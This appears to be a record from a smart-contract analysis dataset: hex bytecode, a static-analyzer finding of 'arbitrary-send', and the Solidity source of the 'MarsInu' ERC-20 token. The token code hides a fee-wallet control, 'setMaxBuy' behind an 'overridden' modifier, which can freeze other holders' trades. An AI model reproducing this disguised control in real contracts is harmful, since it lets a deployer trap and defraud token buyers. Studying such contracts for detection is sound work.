fffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cff57600080fd5b80600c8190555050565b600d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611dd457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611f6457508073ffffffffffffffffffffffffffffffffffffffff16600d600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611faf57506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561206157600f54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600d6000600f54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f600081548092919060010191905055505b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156120a157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156120ee57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561217957600080fd5b6121ca826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561242c57fe5b818303905092915050565b600080600084141561244c576000915061246b565b828402905082848281151561245d57fe5b0414151561246757fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156124af57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156124fc57600080fd5b61254d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156126a557fe5b80915050929150505600687474703a2f2f6f696c2e766973696f6e20546865206f696c2e766973696f6e2050726f6a65637420697320616e20696e766573746d656e7420706c6174666f726d206d616e6167656420627920746865204a6170616e65736520636f6d70616e7920654b656e2e20576520696e7665737420696e20746865206f696c20696e6475737472792061726f756e642074686520776f726c642e20496e206f75722070726f6a6563742077652075736520626f746820747261646974696f6e616c20696e766573746d656e747320696e2079656e20616e64206d6f6465726e20696e766573746d656e747320696e2063727970746f63757272656e63792ea165627a7a723058205f2f77ecca7c9f895e2b7e13592718ebe6504c740fcb59f23213a01220df03c60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,604 |
0x9a4fc83cd4faaa349a03cb757ee9aa7712292d93
|
//SPDX-License-Identifier: MIT
// Telegram: https://t.me/Marsinutoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MarsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "MarsInu";
string private constant _symbol = "MINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(amount<_maxTxAmount);
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_feeAddrWallet1 == _msgSender() );
_;
}
function setMaxBuy(uint256 limit) external overridden {
_maxTxAmount = limit;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612395565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611f58565b6103c2565b604051610157919061237a565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906124f7565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611f05565b6103f0565b6040516101bf919061237a565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea919061256c565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611e6b565b61054c565b60405161023e91906124f7565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b60405161028091906122ac565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab9190612395565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611f58565b610756565b6040516102e8919061237a565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611ec5565b610cb5565b60405161033c91906124f7565b60405180910390f35b34801561035157600080fd5b5061035a610d3c565b005b34801561036857600080fd5b50610383600480360381019061037e9190611fc5565b610dae565b005b60606040518060400160405280600781526020017f4d617273496e7500000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e19565b8484610e21565b6001905092915050565b6000670de0b6b3a7640000905090565b60006103fd848484610fec565b6104be84610409610e19565b6104b985604051806060016040528060288152602001612b4760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113899092919063ffffffff16565b610e21565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e19565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816113ed565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611675565b9050919050565b6105a5610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612457565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d494e5500000000000000000000000000000000000000000000000000000000815250905090565b600061076a610763610e19565b8484610fec565b6001905092915050565b61077c610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090612457565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906124d7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610e21565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611e98565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611e98565b6040518363ffffffff1660e01b8152600401610a1d9291906122c7565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611e98565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b2596959493929190612319565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b779190611ff2565b5050506001600d60166101000a81548160ff02191690831515021790555068056bc75e2d63100000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5f9291906122f0565b602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb19190611f98565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d610e19565b73ffffffffffffffffffffffffffffffffffffffff1614610d9d57600080fd5b6000479050610dab816116e3565b50565b610db6610e19565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e88906124b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef8906123f7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fdf91906124f7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105390612497565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123b7565b60405180910390fd5b6000811161110f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110690612477565b60405180910390fd5b60016009819055506009600a819055506111276106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561119557506111656106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561137957600e5481106111a857600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112535750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112a95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112bf5760016009819055506009600a819055505b60006112ca3061054c565b9050600d60159054906101000a900460ff161580156113375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561134f5750600d60169054906101000a900460ff165b156113775761135d816113ed565b6000479050600081111561137557611374476116e3565b5b505b505b61138483838361174f565b505050565b60008383111582906113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c89190612395565b60405180910390fd5b50600083856113e091906126bd565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561142557611424612818565b5b6040519080825280602002602001820160405280156114535781602001602082028036833780820191505090505b509050308160008151811061146b5761146a6127e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561150d57600080fd5b505afa158015611521573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115459190611e98565b81600181518110611559576115586127e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115c030600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e21565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611624959493929190612512565b600060405180830381600087803b15801561163e57600080fd5b505af1158015611652573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b60006007548211156116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b3906123d7565b60405180910390fd5b60006116c661175f565b90506116db818461178a90919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561174b573d6000803e3d6000fd5b5050565b61175a8383836117d4565b505050565b600080600061176c61199f565b91509150611783818361178a90919063ffffffff16565b9250505090565b60006117cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fe565b905092915050565b6000806000806000806117e687611a61565b95509550955095509550955061184486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192581611b71565b61192f8483611c2e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161198c91906124f7565b60405180910390a3505050505050505050565b600080600060075490506000670de0b6b3a764000090506119d3670de0b6b3a764000060075461178a90919063ffffffff16565b8210156119f157600754670de0b6b3a76400009350935050506119fa565b81819350935050505b9091565b60008083118290611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c9190612395565b60405180910390fd5b5060008385611a549190612632565b9050809150509392505050565b6000806000806000806000806000611a7e8a600954600a54611c68565b9250925092506000611a8e61175f565b90506000806000611aa18e878787611cfe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611389565b905092915050565b6000808284611b2291906125dc565b905083811015611b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5e90612417565b60405180910390fd5b8091505092915050565b6000611b7b61175f565b90506000611b928284611d8790919063ffffffff16565b9050611be681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c4382600754611ac990919063ffffffff16565b600781905550611c5e81600854611b1390919063ffffffff16565b6008819055505050565b600080600080611c946064611c86888a611d8790919063ffffffff16565b61178a90919063ffffffff16565b90506000611cbe6064611cb0888b611d8790919063ffffffff16565b61178a90919063ffffffff16565b90506000611ce782611cd9858c611ac990919063ffffffff16565b611ac990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d178589611d8790919063ffffffff16565b90506000611d2e8689611d8790919063ffffffff16565b90506000611d458789611d8790919063ffffffff16565b90506000611d6e82611d608587611ac990919063ffffffff16565b611ac990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d9a5760009050611dfc565b60008284611da89190612663565b9050828482611db79190612632565b14611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee90612437565b60405180910390fd5b809150505b92915050565b600081359050611e1181612b01565b92915050565b600081519050611e2681612b01565b92915050565b600081519050611e3b81612b18565b92915050565b600081359050611e5081612b2f565b92915050565b600081519050611e6581612b2f565b92915050565b600060208284031215611e8157611e80612847565b5b6000611e8f84828501611e02565b91505092915050565b600060208284031215611eae57611ead612847565b5b6000611ebc84828501611e17565b91505092915050565b60008060408385031215611edc57611edb612847565b5b6000611eea85828601611e02565b9250506020611efb85828601611e02565b9150509250929050565b600080600060608486031215611f1e57611f1d612847565b5b6000611f2c868